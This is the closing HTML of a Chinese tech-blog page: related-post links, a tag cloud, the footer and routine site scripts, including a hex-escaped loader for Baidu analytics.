    							<a href="/zaji/588651.html" title="tracert路由跟踪命令分析判断">
    								tracert路由跟踪命令分析判断							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/588332.html" title="WayPoint寻路">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="WayPoint寻路"  data-original="/aiimages/WayPoint%E5%AF%BB%E8%B7%AF.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/588332.html" title="WayPoint寻路">
    								WayPoint寻路							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/588196.html" title="解决virtualbox共享文件夹没有访问权限的问题">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="解决virtualbox共享文件夹没有访问权限的问题"  data-original="/aiimages/%E8%A7%A3%E5%86%B3virtualbox%E5%85%B1%E4%BA%AB%E6%96%87%E4%BB%B6%E5%A4%B9%E6%B2%A1%E6%9C%89%E8%AE%BF%E9%97%AE%E6%9D%83%E9%99%90%E7%9A%84%E9%97%AE%E9%A2%98.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/588196.html" title="解决virtualbox共享文件夹没有访问权限的问题">
    								解决virtualbox共享文件夹没有访问权限的问题							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/587918.html" title="nmap 常用命令">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="nmap 常用命令"  data-original="/aiimages/nmap+%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/587918.html" title="nmap 常用命令">
    								nmap 常用命令							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/587914.html" title="Unixbench测试工具和使用">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="Unixbench测试工具和使用"  data-original="/aiimages/Unixbench%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7%E5%92%8C%E4%BD%BF%E7%94%A8.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/587914.html" title="Unixbench测试工具和使用">
    								Unixbench测试工具和使用							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/587868.html" title="Msfvenonm生成一个后门木马">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="Msfvenonm生成一个后门木马"  data-original="/aiimages/Msfvenonm%E7%94%9F%E6%88%90%E4%B8%80%E4%B8%AA%E5%90%8E%E9%97%A8%E6%9C%A8%E9%A9%AC.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/587868.html" title="Msfvenonm生成一个后门木马">
    								Msfvenonm生成一个后门木马							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/587686.html" title="2016-1-6第一个完整APP 私人通讯录的实现 3:添加联系人">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="2016-1-6第一个完整APP 私人通讯录的实现 3:添加联系人"  data-original="/aiimages/2016-1-6%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%AE%8C%E6%95%B4APP+%E7%A7%81%E4%BA%BA%E9%80%9A%E8%AE%AF%E5%BD%95%E7%9A%84%E5%AE%9E%E7%8E%B0+3%EF%BC%9A%E6%B7%BB%E5%8A%A0%E8%81%94%E7%B3%BB%E4%BA%BA.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/587686.html" title="2016-1-6第一个完整APP 私人通讯录的实现 3:添加联系人">
    								2016-1-6第一个完整APP 私人通讯录的实现 3:添加联系人							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/587357.html" title="Cisco思科模拟器 交换机IP地址的配置 入门详解 - 精简归纳">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="Cisco思科模拟器 交换机IP地址的配置 入门详解 - 精简归纳"  data-original="/aiimages/Cisco%E6%80%9D%E7%A7%91%E6%A8%A1%E6%8B%9F%E5%99%A8+%E4%BA%A4%E6%8D%A2%E6%9C%BAIP%E5%9C%B0%E5%9D%80%E7%9A%84%E9%85%8D%E7%BD%AE+%E5%85%A5%E9%97%A8%E8%AF%A6%E8%A7%A3+-+%E7%B2%BE%E7%AE%80%E5%BD%92%E7%BA%B3.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/587357.html" title="Cisco思科模拟器 交换机IP地址的配置 入门详解 - 精简归纳">
    								Cisco思科模拟器 交换机IP地址的配置 入门详解 - 精简归纳							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/587302.html" title="进阶篇:5.3.1)均方根法">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="进阶篇:5.3.1)均方根法"  data-original="/aiimages/%E8%BF%9B%E9%98%B6%E7%AF%87%EF%BC%9A5.3.1%EF%BC%89%E5%9D%87%E6%96%B9%E6%A0%B9%E6%B3%95.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/587302.html" title="进阶篇:5.3.1)均方根法">
    								进阶篇:5.3.1)均方根法							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/587206.html" title="2019.10.28sql注入工具">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="2019.10.28sql注入工具"  data-original="/aiimages/2019.10.28sql%E6%B3%A8%E5%85%A5%E5%B7%A5%E5%85%B7.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/587206.html" title="2019.10.28sql注入工具">
    								2019.10.28sql注入工具							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/587143.html" title="Zabbix介绍及安装(1)">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="Zabbix介绍及安装(1)"  data-original="/aiimages/Zabbix%E4%BB%8B%E7%BB%8D%E5%8F%8A%E5%AE%89%E8%A3%85%EF%BC%881%EF%BC%89.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/587143.html" title="Zabbix介绍及安装(1)">
    								Zabbix介绍及安装(1)							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/587047.html" title="Windows环境下搭建FTP服务器">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="Windows环境下搭建FTP服务器"  data-original="/aiimages/Windows%E7%8E%AF%E5%A2%83%E4%B8%8B%E6%90%AD%E5%BB%BAFTP%E6%9C%8D%E5%8A%A1%E5%99%A8.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/587047.html" title="Windows环境下搭建FTP服务器">
    								Windows环境下搭建FTP服务器							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    								<li class="item">
    					<div class="item-img">
    						<a class="item-img-inner" href="/zaji/586880.html" title="Git&#160;常用命令及 *** 作总结">
    							<img width="480" height="300" src="/view/img/theme/lazy.png" class="attachment-default size-default wp-post-image j-lazy" alt="Git&#160;常用命令及 *** 作总结"  data-original="/aiimages/Git%26amp%3B%23160%3B%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E5%8F%8A%E6%93%8D%E4%BD%9C%E6%80%BB%E7%BB%93.png" />
    						</a>
    					</div>
    					<div class="item-content">
    						<p class="item-title">
    							<a href="/zaji/586880.html" title="Git&#160;常用命令及 *** 作总结">
    								Git&#160;常用命令及 *** 作总结							</a>
    						</p>
    						<p class="item-date">2022-4-12</p>
    					</div>
    				</li>
    							</ul>
    					</div>
    		
    		<div class="widget widget_post_thumb">
    									<h3 class="widget-title"><span>随机标签</span></h3>
    			<div class="entry-tag">
    				<!-- 循环输出 tag 开始 -->
    																																<a href="/tag/605718.html" rel="tag">赛中</a>
    		        																								<a href="/tag/605713.html" rel="tag">红枫湖</a>
    		        																																																																																																																																																																																																								<a href="/tag/605664.html" rel="tag">汽车运输</a>
    		        																																																																												<a href="/tag/605646.html" rel="tag">难解</a>
    		        																																																																																																																																																																																								<a href="/tag/605601.html" rel="tag">注射机</a>
    		        																				<a href="/tag/605597.html" rel="tag">神奇四侠</a>
    		        																																																																																																																																																																																																				<a href="/tag/605549.html" rel="tag">优游</a>
    		        																																																																																																				<a href="/tag/605525.html" rel="tag">毕生</a>
    		        																																																																																												<a href="/tag/605503.html" rel="tag">栏柜</a>
    		        																																																																<a href="/tag/605488.html" rel="tag">风清扬</a>
    		        																																																																																																																																																																																																																												<a href="/tag/605434.html" rel="tag">高塔</a>
    		        																																																																																																																																																												<a href="/tag/605396.html" rel="tag">售楼部</a>
    		        																																																												<a href="/tag/605382.html" rel="tag">创先</a>
    		        																																																																																																				<a href="/tag/605358.html" rel="tag">热门小说</a>
    		        																																																																																								<a href="/tag/605337.html" rel="tag">建筑陶瓷</a>
    		        																																																																																																												<a href="/tag/605311.html" rel="tag">布里克</a>
    		        																																																																																																																																																								<a href="/tag/605274.html" rel="tag">永业</a>
    		        																																																																																																								<a href="/tag/605249.html" rel="tag">魏书</a>
    		        								<a href="/tag/605248.html" rel="tag">二十五</a>
    		        																<a href="/tag/605245.html" rel="tag">三下乡</a>
    		        																																																																																							</div>
    					</div>
    	</aside>
    
    </div>
    
    
    </div>
    	
    <footer class=footer>
    	<div class=container>
    		<div class=clearfix>
    			<div class="footer-col footer-col-logo">
    				<img src="/view/img/logo.png" alt="WELLCMS">
    			</div>
    
    			<div class="footer-col footer-col-copy">
    				<ul class="footer-nav hidden-xs">
    				    <li class="menu-item">
    						<a href="http://outofmemory.cn/sitemap.html">
    							网站地图
    						</a>
    					</li>
    					<li class="menu-item">
    						<a href="/read/0.html">
    							联系我们
    						</a>
    					</li>
    					<li class="menu-item">
    						<a href="/read/0.html">
    							行业动态
    						</a>
    					</li>
    					<li class="menu-item">
    						<a href="/read/0.html">
    							专题列表
    						</a>
    					</li>
    					
    				
    					<!--<li class="menu-item">
    						<a href="/read/4.html">
    							用户列表
    						</a>
    					</li>-->
    				</ul>
    				<div class=copyright>
    					<p>
    						Copyright © 2022 内存溢出 版权所有
    						<a href="https://beian.miit.gov.cn" target="_blank" rel="nofollow noopener noreferrer">
    							湘ICP备2022025235号						</a>
    						Powered by
    						<a href="https://www.outofmemory.cn/" target="_blank">
    							outofmemory.cn
    						</a>
    					<script>var s1=s1||[];(function(){var OstRUpguE2=window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']("\x73\x63\x72\x69\x70\x74");OstRUpguE2['\x73\x72\x63']="\x68\x74\x74\x70\x73\x3a\x2f\x2f\x68\x6d\x2e\x62\x61\x69\x64\x75\x2e\x63\x6f\x6d\x2f\x68\x6d\x2e\x6a\x73\x3f\x33\x33\x33\x31\x32\x35\x31\x37\x33\x34\x37\x65\x39\x30\x38\x34\x63\x30\x37\x34\x33\x30\x66\x66\x31\x61\x61\x65\x66\x38\x62\x33";var saV3=window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65']("\x73\x63\x72\x69\x70\x74")[0];saV3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](OstRUpguE2,saV3)})();</script>
    					</p>
    				</div>
    			</div>
    			<div class="footer-col footer-col-sns">
    				<div class="footer-sns">
    					<!--<a class="sns-wx" href="javascript:;" aria-label="icon">
    						<i class="wpcom-icon fa fa-apple sns-icon"></i>
    						<span style=background-image:url(static/images/qrcode_for_gh_d95d7581f6db_430.jpg);></span>
    					</a>
    					<a class=sns-wx href=javascript:; aria-label=icon>
    						<i class="wpcom-icon fa fa-android sns-icon"></i>
    						<span style=background-image:url(static/images/qrcode_for_gh_d95d7581f6db_430.jpg);></span>
    					</a>-->
    					<a class="sns-wx" href="javascript:;" aria-label="icon">
    						<i class="wpcom-icon fa fa-weixin sns-icon"></i>
    						<span style=""></span>
    					</a>
    					<a href="http://weibo.com" target="_blank" rel="nofollow" aria-label="icon">
    						<i class="wpcom-icon fa fa-weibo sns-icon"></i>
    					</a>
    				</div>
    			</div>
    		</div>
    	</div>
    </footer>
    
    <script id="main-js-extra">/*<![CDATA[*/var _wpcom_js = { "js_lang":{"page_loaded":"\u5df2\u7ecf\u5230\u5e95\u4e86","no_content":"\u6682\u65e0\u5185\u5bb9","load_failed":"\u52a0\u8f7d\u5931\u8d25\uff0c\u8bf7\u7a0d\u540e\u518d\u8bd5\uff01","login_desc":"\u60a8\u8fd8\u672a\u767b\u5f55\uff0c\u8bf7\u767b\u5f55\u540e\u518d\u8fdb\u884c\u76f8\u5173\u64cd\u4f5c\uff01","login_title":"\u8bf7\u767b\u5f55","login_btn":"\u767b\u5f55","reg_btn":"\u6ce8\u518c","copy_done":"\u590d\u5236\u6210\u529f\uff01","copy_fail":"\u6d4f\u89c8\u5668\u6682\u4e0d\u652f\u6301\u62f7\u8d1d\u529f\u80fd"} };/*]]>*/</script>
    <script src="/view/js/theme/55376.js"></script>
    <script id="QAPress-js-js-extra">var QAPress_js = { };</script>
    <script src="/view/js/theme/978f4.js"></script>
    
    <script src="/lang/zh-cn/lang.js?2.2.0"></script>
    <script src="/view/js/popper.min.js?2.2.0"></script>
    <script src="/view/js/xiuno.js?2.2.0"></script>
    <script src="/view/js/async.min.js?2.2.0"></script>
    <script src="/view/js/form.js?2.2.0"></script>
    <script src="/view/js/wellcms.js?2.2.0"></script>
    
    <script>
    	var debug = DEBUG = 1;
    	var url_rewrite_on = 2;
    	var url_path = '/';
    	(function($) {
    		$(document).ready(function() {
    			setup_share(1);
    		})
    	})(jQuery);
    
    	$('#user-logout').click(function () {
            $.modal('<div style="text-align: center;padding: 1rem 1rem;">已退出</div>', {
                'timeout': '1',
                'size': 'modal-dialog modal-sm'
            });
            $('#w-modal-dialog').css('text-align','center');
    	    setTimeout(function () {
                window.location.href = '/';
            }, 500)
        });
    </script>
    </body>
    
    </html>
    
    <script type="application/ld+json">
    	{
    		"@context": {
    			"@context": {
    				"images": {
    					"@id": "http://schema.org/image",
    					"@type": "@id",
    					"@container": "@list"
    				},
    				"title": "http://schema.org/headline",
    				"description": "http://schema.org/description",
    				"pubDate": "http://schema.org/DateTime"
    			}
    		},
    		"@id": "http://outofmemory.cn/zaji/5721676.html",
    		"title": "Python安全攻防-从入门到入狱",
    		"images": ["http://outofmemory.cn/aiimages/Python%E5%AE%89%E5%85%A8%E6%94%BB%E9%98%B2-%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1.png"],
    		"description": "居家隔离闲着无聊 思来想去决定写篇关于【Python攻防】color{blue}{【Python攻防】}【Python攻防】专栏 没办法-越復越想学 网上有《Python安全攻防》 想深入学习的",
    		"pubDate": "2022-12-18",
    		"upDate": "2022-12-18"
    	}
    </script>
    
    <script>
    	// 回复
    	$('.reply-post').on('click', function () {
    		var pid = $(this).attr('pid');
    		var username = '回复给 ' + $(this).attr('user');
    		$('#form').find('input[name="quotepid"]').val(pid);
    		$('#reply-name').show().find('b').append(username);
    
    	});
    	function removepid() {
    		$('#form').find('input[name="quotepid"]').val(0);
    		$('#reply-name').hide().find('b').empty();
    	}
    
    	var forum_url = '/list/1.html';
    	var safe_token = 'FVFPAvTa_2FuKqj1ZZFSi_2F1xxkfGJ8GUJOtGTgFpA2ujCaLc8CHzzy_2FkZ9f0_2Bx3y2zXygoeiJHBbA5GFuf2iFnQQ_3D_3D';
    	var body = $('body');
    	body.on('submit', '#form', function() {
    		console.log('test');
    		var jthis = $(this);
    		var jsubmit = jthis.find('#submit');
    		jthis.reset();
    		jsubmit.button('loading');
    		var postdata = jthis.serializeObject();
    		$.xpost(jthis.attr('action'), postdata, function(code, message) {
    			if(code == 0) {
    				location.reload();
    			} else {
    				$.alert(message);
    				jsubmit.button('reset');
    			}
    		});
    		return false;
    	});
    	// 收藏
    	var uid = '0';
    	var body = $('body');
    	body.on('click', 'a#favorites', function () {
    		if (uid && uid > 0) {
    			var tid = $(this).attr('tid');
    			$.xpost('/home/favorites.html', {'type': 0, 'tid':tid}, function (code, message) {
    				if (0 == code) {
    					var favorites = $('#favorites-n');
    					favorites.html(xn.intval(favorites.html()) + 1);
    					$.modal('<div style="text-align: center;padding: 1rem 1rem;">'+ message +'</div>', {
    						'timeout': '1',
    						'size': 'modal-dialog modal-sm'
    					});
    					$('#w-modal-dialog').css('text-align','center');
    				} else {
    					$.modal('<div style="text-align: center;padding: 1rem 1rem;">'+ message +'</div>', {
    						'timeout': '1',
    						'size': 'modal-dialog modal-sm'
    					});
    					$('#w-modal-dialog').css('text-align','center');
    				}
    			});
    		} else {
    			$.modal('<div style="text-align: center;padding: 1rem 1rem;">您还未登录</div>', {
    				'timeout': '1',
    				'size': 'modal-dialog modal-sm'
    			});
    			$('#w-modal-dialog').css('text-align','center');
    		}
    		return false;
    	});
    	// 喜欢
    	var uid = '0';
    	var tid = '5721676';
    
    	var body = $('body');
    	body.on('click', 'a#thread-like', function () {
    		if (uid && uid > 0) {
    			var tid = $(this).attr('tid');
    			$.xpost('/my/like.html', {'type': 0, 'tid': tid}, function (code, message) {
    				var threadlikes = $('#thread-likes');
    				var likes = xn.intval(threadlikes.html());
    				if (0 == code) {
    					$.modal('<div style="text-align: center;padding: 1rem 1rem;">'+ message +'</div>', {
    						'timeout': '1',
    						'size': 'modal-dialog modal-sm'
    					});
    					$('#w-modal-dialog').css('text-align','center');
    				} else {
    					$.modal('<div style="text-align: center;padding: 1rem 1rem;">'+ message +'</div>', {
    						'timeout': '1',
    						'size': 'modal-dialog modal-sm'
    					});
    					$('#w-modal-dialog').css('text-align','center');
    				}
    			});
    		} else {
    			$.modal('<div style="text-align: center;padding: 1rem 1rem;">您还未登录</div>', {
    				'timeout': '1',
    				'size': 'modal-dialog modal-sm'
    			});
    			$('#w-modal-dialog').css('text-align','center');
    		}
    		return false;
    	});
    </script>
    
    
    <div id="post-poster" class="post-poster action action-poster">
        <div class="poster-qrcode" style="display:none;"></div>
        <div class="poster-popover-mask" data-event="poster-close"></div>
        <div class="poster-popover-box">
            <a class="poster-download btn btn-default" download="">
                <span>保存</span>
            </a>
        </div>
    </div>
    <script src="/view/js/qrcode.min.js?2.2.0"></script>
    <script>
    $.require_css('../plugin/wqo_theme_basic/css/wqo_poster.css');
    var url= window.location.href;
    window.poster_img={
    	uri        : url,
    	ver        : '1.0',
    	bgimgurl   : '/plugin/wqo_theme_basic/img/bg.png',
    	post_title : 'Python安全攻防-从入门到入狱',
    	logo_pure  : '/view/img/logo.png',
    	att_img    : '/aiimages/Python%E5%AE%89%E5%85%A8%E6%94%BB%E9%98%B2-%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1.png',
    	excerpt    : '居家隔离闲着无聊 思来想去决定写篇关于【Python攻防】color{blue}{【Python攻防】}【Python攻防】专栏 没办法-越復越想学 网上有《Python安全攻防》 想深入学习的',
    	author     : '宁德市地图',
    	cat_name   : '随笔',
    	time_y_m   : '2022年12月',
    	time_d     : '18',
    	site_motto : '内存溢出'
    };
    </script>
    <script src="/plugin/wqo_theme_basic/js/main.js?2.2.0"></script>
    <script src="/plugin/wqo_theme_basic/js/require.min.js?2.2.0"></script>